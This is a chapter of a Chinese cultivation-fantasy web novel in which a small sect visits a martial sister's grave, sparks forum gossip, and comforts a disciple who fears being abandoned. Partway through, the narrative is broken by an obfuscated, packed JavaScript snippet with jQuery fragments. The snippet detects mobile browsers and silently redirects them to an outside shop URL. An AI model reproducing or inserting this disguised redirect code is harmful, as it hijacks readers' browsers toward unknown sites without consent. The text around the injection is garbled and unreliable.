20. 不哭的丫头

作品:《我靠算命养宗门

    第二天一早,典星河站在院子里,看着后山的方向。


    站了很久。


    归尘从柴房里走出来,在她旁边蹲下。


    “想去?”他问。


    典星河点点头。


    “嗯。”


    归尘没说话,只是站起来,拍了拍身上的灰。


    “走吧。”他说,“叫上他们一起。”


    半个时辰后,九个人排成一排,往后山走。


    牧殇背着个大包袱,里面装着香烛纸钱。祁幻抱着账本,边走边记:“香烛二十文,纸钱十五文,祭品……”宋栀子捧着一束自己扎的花——用阵法材料扎的,五颜六色,还会发光。


    安然走在最前面,一边走一边整理衣襟。


    “四师妹喜欢干净,”他说,“咱们得收拾整齐点。”


    徐修点点头,把衣服上的褶皱抚平。


    归尘没说话,将披散的头发扎了起来,整了整衣服。


    走了小半个时辰,终于到了。


    后山半山腰,一棵老松树下,立着一座坟。


    很简单,一块青石墓碑,上面刻着几个字:


    “恩师夏轻鸿之墓”


    旁边还有一行小字:“徒弟典星河立”


    坟前很干净,杂草被清理过,显然是有人常来。


    典星河走过去,蹲下来,伸手摸了摸墓碑。


    “师父,”她轻声说,“我带人来看你了。”


    她顿了顿。


    “都是你以前说过的那些人。”


    安然走上前,在坟前站定。


    他看着那块墓碑,看了很久。


    “四师妹,”他说,“你挑的这地方不错。有树,有风,还能看见山下。”


    他蹲下来,从怀里掏出一包糕点,放在坟前。


    “你小时候爱吃的桂花糕。”他说。


    徐修也走上前,放下一壶酒。


    “你最爱喝的那个。”他说,“我酿的。”


    归尘最后一个走上去。


    他蹲下来,把手里那包瓜子放在坟前。


    “四师姐,”他说,“你以前老偷我瓜子。今天我送你一包。”


    他的声音很轻。


    “不用偷了。”


    宋栀子捧着那束发光的花,不知道该放哪儿。


    安然回头看了她一眼。


    “放坟前。”他说,“她会喜欢的。”


    宋栀子小心翼翼地把花放下。


    然后她抬起头,看着那块墓碑。


    “四师伯,”她说,“我叫宋栀子,是掌门捡回来的。我会发明,虽然老炸,但师父现在教我了。”


    她想了想,又补充了一句。


    “您放心,我会照顾好掌门的。虽然她老是躺着不动,但我会给她送吃的。”


    典星河在旁边咳了一声。


    宋栀子眨眨眼,一脸无辜。


    牧殇也上前,恭恭敬敬地鞠了一躬。


    “四师伯好,”他说,“我叫牧殇,话有点多,您别介意。您要是想听故事,我可以给您讲一晚上。”


    祁幻抱着账本,不知道该怎么办。


    “师、师伯,”他说,“我叫祁幻,管账的。宗门虽然天天赤字,但我会想办法,不会叫他们饿死的,您放心。”


    穆惇最后一个走上前。


    她没说话,只是从怀里掏出一把种子,撒在坟周围。


    “花种子。”她说,“明年开春,您这儿就热闹了。”


    众人拜完之后,退到一边。


    典星河还蹲在坟前,不肯走。


    归尘走过去,在她旁边站立。


    他轻轻垂首,“想说什么就说,她听得见。”


    典星河沉默了一会儿。


    “师父,”她说,“你以前说的那些人,我都找到了。”


    她指了指身后。


    “那个头发白的,是你小师弟。那个爱干净的,是你三师兄。那个老得最快的,是你二师兄。”


    徐修在后面抗议:“谁老得最快?”


    典星河没理他,继续说。


    “他们都挺好的。虽然老了点,但都活着。”


    归尘在旁边嘴角弯了弯。


    会说。


    典星河又说:“你走了之后,我把宗门撑起来了。虽然人少,但热闹,几个人也有几百人的气势。


    师父,你说得对。他们都会喜欢我。”


    她伸出手,轻轻摸了摸墓碑。


    “师父,谢谢你。谢谢你收了我。”


    一阵风吹过,老松树的枝叶轻轻晃动。


    几片松针飘落下来,落在典星河的头上,肩上。


    她轻声说,“师父,是你在摸我的头吗?”


    下山的时候,牧殇突然问:“师伯,四师伯是什么样的人啊?”


    安然想了想。


    “爱笑。”他说,“不管什么事,她都笑着。”


    徐修接话:“爱偷吃。大师兄的糕点,小尘的瓜子,我的酒,她什么都偷。”


    归尘点点头。


    “但她从来不被抓到。”


    安然笑了。


    “那是因为她跑得快。”他说,“每次偷完就跑,追都追不上。”


    牧殇想:那是因为他们不拆穿。


    宋栀子好奇地问:“那她挨过罚吗?”


    三个人对视了一眼。


    徐修说:“挨过。有一次被大师兄当场抓住,罚她抄经书。”


    “她抄了吗?”


    “抄了。”安然说,“但抄的是《美食大全》。”


    宋栀子愣住了。


    “经书呢?”


    徐修笑了。


    “她把经书藏起来了,自己画了一本《美食大全》充数。大师兄检查的时候,她还振振有词:‘这本经书讲的是人生哲理,您看,酸甜苦辣,都是人生。’”


    牧殇笑得直不起腰。


    “大师兄信了?”


    安然叹了口气。


    “大师兄信了三天。三天后才发现不对劲。”


    归尘接了一句:“然后追着她打了半个时辰。”


    众人笑得前仰后合。


    典星河在旁边听着,嘴角也弯了弯。


    “师父从来没跟我说过这些。”她说。


    安然看着她。


    “她肯定想亲口跟你说。”他说,“可惜没等到。”


    典星河沉默了一会儿。


    “没关系。”她说,“现在我听你们说也一样。我的师父,真的是一个很好很好的人。”


    与此同时,仙网论坛上炸了。


    起因是一个匿名帖子——


    【震惊】青云山脉深处惊现神秘队伍,疑似集体上坟!


    发帖人:路人甲


    内容:今天路过一座无名小山,看见一群人排着队往后山走。有老有少,有男有女。他们在一棵老松树下停了很久,好像在祭拜什么。有人知道这是什么宗门吗?


    底下评论已经疯了:


    “我认识那个话痨!是躺平宗的牧殇!”


    “那个白头发的是归尘前辈!渡劫期大佬!”


    “旁边那个青年是谁?没见过啊。”


    “等等,他们去祭拜谁?”


    “能让渡劫期大佬亲自去祭拜的,肯定是大人物!”


    “会不会是躺平宗的创始人?”


    “楼上你真相了!”


    帖子越传越离谱。


    三十分钟后,一个新帖子出现——


    【独家】躺平宗秘史大揭秘!他们去祭拜的究竟是谁?


    发帖人:八卦小能手


    内容:据可靠消息,躺平宗今天集体出动,前往后山祭拜一位神秘人物。此人疑似与归尘前辈有旧,极可能是三千年前那场浩劫的幸存者之一!


    评论区:


    “三千年前?!那得是多大的佬?”


    “难怪渡劫期大佬亲自去祭拜。”


    “所以躺平宗到底是什么来头?”


    “早就说了,这个宗门不简单!”


    五十分钟后,又一个帖子——


    【深度】从今天的事看躺平宗的隐藏实力


    发帖人:修仙观察员


    内容:今天的事大家都知道了。我想说的是,能让九个人集体出动去祭拜,说明这个人对躺平宗意义重大。而且归尘前辈亲自去,徐修前辈亲自去,安然前辈亲自去——这说明什么?说明躺平宗的底蕴,远比我们想象的要深!


    评论区:


    “大佬,分析一下,躺平宗到底有多少隐藏高手?”


    “目前已知:归尘(渡劫期),徐修(化神),安然(化神),穆惇(金丹),典星河(金丹)其他人未知。”


    “等等,安然是谁?”


    “今天那个青年的。”


    “所以那个青年的也是大佬?!”


    “躺平宗到底还有多少惊喜?”


    柴房里,牧殇刷着玉简。


    “师伯!你们上热搜了!”


    安然凑过来看了一眼。


    “‘青年’?”他皱起眉头,“这叫什么称呼?”


    徐修在旁边幸灾乐祸。


    安然道:“比你‘老得最快的’强。”


    徐修瞪他一眼。


    宋栀子凑过来,看着那些帖子,眼睛亮晶晶的。


    “师父师父!有人说您是化神期大佬!”


    安然点点头。


    “嗯,是真的。”


    宋栀子更兴奋了:“那您是不是很厉害?”


    安然想了想。


    “还行。”他说,“主要是活得久。”


    宋栀子:“……”


    那天晚上,柴房门口,宋栀子一个人蹲着,面前摆着几个阵盘。


    安然走出来,在她旁边蹲下。


    “还在练?”


    宋栀子点点头。


    “嗯。”


    安然看了看那些阵盘——三个炸了,两个半死不活,一个勉强能用。


    “不错。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387681|200271||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他说,“比昨天进步了。”


    宋栀子没说话。


    安然看着她。


    “怎么了?”他问,“有心事?”


    宋栀子沉默了一会儿。


    然后她抬起头,看着安然。


    “师父,”她说,“你以前……有没有被丢下过?”


    安然愣住了。


    宋栀子的声音很轻。


    “我小时候,被人丢在宗门门口。”她说,“掌门把我捡回来的。”


    她低下头。


    “我一直想,是不是我哪里不好,他们才不要我。”


    安然看着她,看了很久。


    然后他伸出手,在她脑袋上轻轻拍了拍。


    “丫头,”他说,“你知道我怎么看你的吗?”


    宋栀子摇摇头。


    安然说:“我自从第一次见到你,你就一直在炸宗门。炸完厨房炸柴房,炸完之后,你从废墟里爬出来,满脸是灰,还在笑。”


    他笑了。


    “那时候我就想,这丫头啊,定能成大事。”


    宋栀子愣住了。


    安然继续说:“你这么能炸,你爹妈肯定养不起。所以他们把你放在这儿,让你自己养活自己。”


    宋栀子的眼眶红了。


    “真、真的吗?”


    安然点点头。


    “真的。”他说,“你这种天赋,一般人家养不起,可是,我可以。”


    宋栀子看着他,不知道该哭还是该笑。


    安然又说:“而且你看,你在这儿过得挺好的。有人教你,有人陪你,有人给你买阵盘。”


    他指了指柴房。


    “我们三个老家伙和你的小伙伴,天天被炸,也没说过你一句。”


    宋栀子的眼泪终于掉下来。


    “师父,”她说,“你说话真好听。”


    安然点点头。


    “那是。”他说,“练了三千年了。”


    那天晚上,宋栀子抱着那几个阵盘,睡得特别香。


    归尘从柴房里走出来,在安然旁边蹲下。


    “她跟你说了?”他问。


    安然点点头。


    “你也看出来了?”


    归尘轻轻叹气,“她怕再被丢下,所以拼命发明,拼命炸,拼命让大家记住她。”


    “这孩子,跟咱们一样。”


    “是啊。”归尘说,“都是被丢下过的。”


    安然盯着他。


    “你打算怎么办?”


    归尘想了想。


    “让她知道,这儿没人会丢下她。”


    第二天早上,宋栀子刚起床,就发现柴房门口蹲着一个人。


    归尘。


    他手里攥着瓜子,正看着她。


    宋栀子揉了揉眼睛。


    “前辈?您怎么在这儿?”


    归尘没说话,只是递给她一把瓜子。


    宋栀子接过来,在他旁边蹲下。


    两人一起嗑瓜子。


    过了好一会儿,归尘开口了。


    “丫头,”他说,“你知道我是怎么来的吗?”


    宋栀子摇摇头。


    归尘说:“我被人送走的。三千年了,一直在找回家的路。”


    宋栀子愣住了。


    归尘继续说:“我找了三千年,找到这儿,找到了你们。”


    他转头看向宋栀子。


    “你知道这说明什么吗?”


    宋栀子摇摇头。


    归尘说:“说明只要有人等,就一定能找到回家的路。”


    宋栀子轻轻歪头,表示疑惑。


    他继续说,“你在这儿,有人等。以后不管你去哪儿,都有人等你回来。”


    “前辈,”她说,“你说话也真好听。”


    归尘点点头。


    “嗯。”他说,“也是练的。”


    那天中午,宋栀子的阵盘又炸了。


    但她从废墟里爬出来的时候,笑得特别开心。


    “师父!”她喊,“我又炸了!”


    安然从柴房里探出头。


    “炸就炸,喊什么喊?”


    宋栀子举起那个炸成两半的阵盘。


    “但这个没炸全!还有一半能用!”


    “行,”他说,“有进步。”


    宋栀子高兴得跳起来。


    祁幻在旁边记账,一边记一边念叨:“阵盘一个,成本二十文,成果一半能用,心情……”


    他顿了顿。


    “心情:高兴。”


    【章末小剧场:躺平宗摸鱼群】


    钱多多:@所有人,今日支出:阵盘一个(炸了一半),香烛纸钱三十五文,桂花糕二十文。今日进账:无。心情:复杂但温暖。


    李翠花:论坛上有人问咱们宗门还收不收人。


    钱多多:你怎么回?


    李翠花:没回。


    钱多多:为什么?


    李翠花:不会打字。


    钱多多:……